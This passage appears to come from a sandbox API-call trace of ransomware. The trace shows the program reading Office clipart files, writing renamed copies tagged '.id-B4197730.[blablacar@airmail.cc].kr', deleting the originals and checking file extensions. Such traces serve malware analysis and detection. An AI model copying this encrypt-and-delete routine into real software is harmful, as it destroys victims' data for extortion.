(in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0184.788] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0184.788] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\baby_01.mid.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0184.789] GetLastError () returned 0x0 [0184.789] ReadFile (in: hFile=0x520, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x1cd8, lpOverlapped=0x0) returned 1 [0184.790] WriteFile (in: hFile=0x53c, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x1ce0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x1ce0, lpOverlapped=0x0) returned 1 [0184.791] ReadFile (in: hFile=0x520, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0184.791] WriteFile (in: hFile=0x53c, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0xea, lpOverlapped=0x0) returned 1 [0184.792] SetEndOfFile (hFile=0x53c) returned 1 [0184.792] CloseHandle (hObject=0x53c) returned 1 [0184.792] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0184.792] SetEndOfFile (hFile=0x520) returned 1 [0184.795] CloseHandle (hObject=0x520) returned 1 [0184.795] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0184.795] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\baby_01.mid")) returned 1 [0184.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67 [0184.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67 [0184.796] lstrlenW (lpString=".doc") returned 4 [0184.796] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0184.796] lstrlenW (lpString=".docx") returned 5 [0184.796] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0184.796] lstrlenW (lpString=".pdf") returned 4 [0184.796] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0184.796] lstrlenW (lpString=".xls") returned 4 [0184.796] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0184.796] lstrlenW (lpString=".xlsx") returned 5 [0184.796] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0184.796] lstrlenW (lpString=".ppt") returned 4 [0184.796] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0184.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67 [0184.796] lstrlenW (lpString=".zip") returned 4 [0184.796] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0184.796] lstrlenW (lpString=".rar") returned 4 [0184.796] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0184.796] lstrlenW (lpString=".bz2") returned 4 [0184.796] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0184.796] lstrlenW (lpString=".7z") returned 3 [0184.796] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0184.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67 [0184.796] lstrlenW (lpString=".dbf") returned 4 [0184.796] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0184.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67 [0184.796] lstrlenW (lpString=".1cd") returned 4 [0184.796] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0184.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67 [0184.796] lstrlenW (lpString=".jpg") returned 4 [0184.797] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0184.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67 [0184.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67 [0184.797] lstrlenW (lpString=".doc") returned 4 [0184.797] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0184.797] lstrlenW (lpString=".docx") returned 5 [0184.797] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0184.797] lstrlenW (lpString=".pdf") returned 4 [0184.797] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0184.797] lstrlenW (lpString=".xls") returned 4 [0184.797] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0184.797] lstrlenW (lpString=".xlsx") returned 5 [0184.797] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0184.797] lstrlenW (lpString=".ppt") returned 4 [0184.797] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0184.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67 [0184.797] lstrlenW (lpString=".zip") returned 4 [0184.797] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0184.797] lstrlenW (lpString=".rar") returned 4 [0184.797] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0184.797] lstrlenW (lpString=".bz2") returned 4 [0184.797] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0184.797] lstrlenW (lpString=".7z") returned 3 [0184.797] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0184.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67 [0184.797] lstrlenW (lpString=".dbf") returned 4 [0184.797] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0184.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67 [0184.797] lstrlenW (lpString=".1cd") returned 4 [0184.797] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0184.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67 [0184.797] lstrlenW (lpString=".jpg") returned 4 [0184.797] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0184.798] lstrcmpiW (lpString1=".MID", lpString2=".kr") returned 1 [0184.798] lstrlenW (lpString="HTECH_01.MID") returned 12 [0184.798] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\htech_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0184.799] GetFileSizeEx (in: hFile=0x520, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=7178) returned 1 [0184.799] CloseHandle (hObject=0x520) returned 1 [0184.799] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\htech_01.mid")) returned 0x220 [0184.799] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\htech_01.mid.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0184.800] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\htech_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0184.800] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0184.800] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0184.800] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\htech_01.mid.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0184.800] GetLastError () returned 0x0 [0184.800] ReadFile (in: hFile=0x520, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x1c0a, lpOverlapped=0x0) returned 1 [0184.802] WriteFile (in: hFile=0x53c, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x1c10, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x1c10, lpOverlapped=0x0) returned 1 [0184.803] ReadFile (in: hFile=0x520, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0184.803] WriteFile (in: hFile=0x53c, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0184.803] SetEndOfFile (hFile=0x53c) returned 1 [0184.803] CloseHandle (hObject=0x53c) returned 1 [0184.803] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0184.803] SetEndOfFile (hFile=0x520) returned 1 [0184.806] CloseHandle (hObject=0x520) returned 1 [0184.806] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0184.806] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\htech_01.mid")) returned 1 [0184.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68 [0184.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68 [0184.807] lstrlenW (lpString=".doc") returned 4 [0184.807] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0184.807] lstrlenW (lpString=".docx") returned 5 [0184.807] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0184.807] lstrlenW (lpString=".pdf") returned 4 [0184.807] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0184.807] lstrlenW (lpString=".xls") returned 4 [0184.807] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0184.807] lstrlenW (lpString=".xlsx") returned 5 [0184.807] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0184.807] lstrlenW (lpString=".ppt") returned 4 [0184.807] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0184.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68 [0184.807] lstrlenW (lpString=".zip") returned 4 [0184.807] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0184.807] lstrlenW (lpString=".rar") returned 4 [0184.807] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0184.807] lstrlenW (lpString=".bz2") returned 4 [0184.807] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0184.807] lstrlenW (lpString=".7z") returned 3 [0184.807] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0184.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68 [0184.808] lstrlenW (lpString=".dbf") returned 4 [0184.808] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0184.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68 [0184.808] lstrlenW (lpString=".1cd") returned 4 [0184.808] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0184.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68 [0184.808] lstrlenW (lpString=".jpg") returned 4 [0184.808] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0184.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68 [0184.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68 [0184.808] lstrlenW (lpString=".doc") returned 4 [0184.808] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0184.808] lstrlenW (lpString=".docx") returned 5 [0184.808] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0184.808] lstrlenW (lpString=".pdf") returned 4 [0184.808] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0184.808] lstrlenW (lpString=".xls") returned 4 [0184.808] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0184.808] lstrlenW (lpString=".xlsx") returned 5 [0184.808] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0184.808] lstrlenW (lpString=".ppt") returned 4 [0184.808] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0184.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68 [0184.808] lstrlenW (lpString=".zip") returned 4 [0184.808] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0184.808] lstrlenW (lpString=".rar") returned 4 [0184.808] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0184.808] lstrlenW (lpString=".bz2") returned 4 [0184.808] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0184.808] lstrlenW (lpString=".7z") returned 3 [0184.808] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0184.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68 [0184.808] lstrlenW (lpString=".dbf") returned 4 [0184.809] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0184.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68 [0184.809] lstrlenW (lpString=".1cd") returned 4 [0184.809] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0184.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68 [0184.809] lstrlenW (lpString=".jpg") returned 4 [0184.809] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0184.809] lstrcmpiW (lpString1=".MID", lpString2=".kr") returned 1 [0184.809] lstrlenW (lpString="INDST_01.MID") returned 12 [0184.809] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\indst_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0184.810] GetFileSizeEx (in: hFile=0x520, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=8568) returned 1 [0184.810] CloseHandle (hObject=0x520) returned 1 [0184.810] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\indst_01.mid")) returned 0x220 [0184.810] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\indst_01.mid.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0184.811] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\indst_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0184.811] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0184.811] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0184.811] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\indst_01.mid.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0184.811] GetLastError () returned 0x0 [0184.811] ReadFile (in: hFile=0x520, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x2178, lpOverlapped=0x0) returned 1 [0184.813] WriteFile (in: hFile=0x53c, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x2180, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x2180, lpOverlapped=0x0) returned 1 [0184.814] ReadFile (in: hFile=0x520, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0184.814] WriteFile (in: hFile=0x53c, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0184.814] SetEndOfFile (hFile=0x53c) returned 1 [0184.814] CloseHandle (hObject=0x53c) returned 1 [0184.814] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0184.814] SetEndOfFile (hFile=0x520) returned 1 [0184.817] CloseHandle (hObject=0x520) returned 1 [0184.817] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0184.817] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\indst_01.mid")) returned 1 [0184.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68 [0184.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68 [0184.818] lstrlenW (lpString=".doc") returned 4 [0184.818] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0184.818] lstrlenW (lpString=".docx") returned 5 [0184.818] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0184.818] lstrlenW (lpString=".pdf") returned 4 [0184.818] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0184.818] lstrlenW (lpString=".xls") returned 4 [0184.818] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0184.818] lstrlenW (lpString=".xlsx") returned 5 [0184.818] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0184.818] lstrlenW (lpString=".ppt") returned 4 [0184.818] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0184.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68 [0184.818] lstrlenW (lpString=".zip") returned 4 [0184.818] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0184.818] lstrlenW (lpString=".rar") returned 4 [0184.818] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0184.818] lstrlenW (lpString=".bz2") returned 4 [0184.818] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0184.818] lstrlenW (lpString=".7z") returned 3 [0184.818] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0184.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68 [0184.818] lstrlenW (lpString=".dbf") returned 4 [0184.818] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0184.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68 [0184.818] lstrlenW (lpString=".1cd") returned 4 [0184.818] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0184.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68 [0184.818] lstrlenW (lpString=".jpg") returned 4 [0184.818] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0184.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68 [0184.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68 [0184.819] lstrlenW (lpString=".doc") returned 4 [0184.819] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0184.819] lstrlenW (lpString=".docx") returned 5 [0184.819] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0184.819] lstrlenW (lpString=".pdf") returned 4 [0184.819] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0184.819] lstrlenW (lpString=".xls") returned 4 [0184.819] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0184.819] lstrlenW (lpString=".xlsx") returned 5 [0184.819] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0184.819] lstrlenW (lpString=".ppt") returned 4 [0184.819] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0184.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68 [0184.819] lstrlenW (lpString=".zip") returned 4 [0184.819] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0184.819] lstrlenW (lpString=".rar") returned 4 [0184.819] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0184.819] lstrlenW (lpString=".bz2") returned 4 [0184.819] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0184.819] lstrlenW (lpString=".7z") returned 3 [0184.819] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0184.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68 [0184.819] lstrlenW (lpString=".dbf") returned 4 [0184.819] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0184.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68 [0184.819] lstrlenW (lpString=".1cd") returned 4 [0184.819] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0184.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68 [0184.819] lstrlenW (lpString=".jpg") returned 4 [0184.819] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0184.820] lstrcmpiW (lpString1=".MID", lpString2=".kr") returned 1 [0184.820] lstrlenW (lpString="JAVA_01.MID") returned 11 [0184.820] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\java_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0185.043] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=9797) returned 1 [0185.043] CloseHandle (hObject=0x53c) returned 1 [0185.043] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\java_01.mid")) returned 0x220 [0185.043] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\java_01.mid.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0185.043] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\java_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0185.043] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0185.043] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0185.044] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\java_01.mid.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, 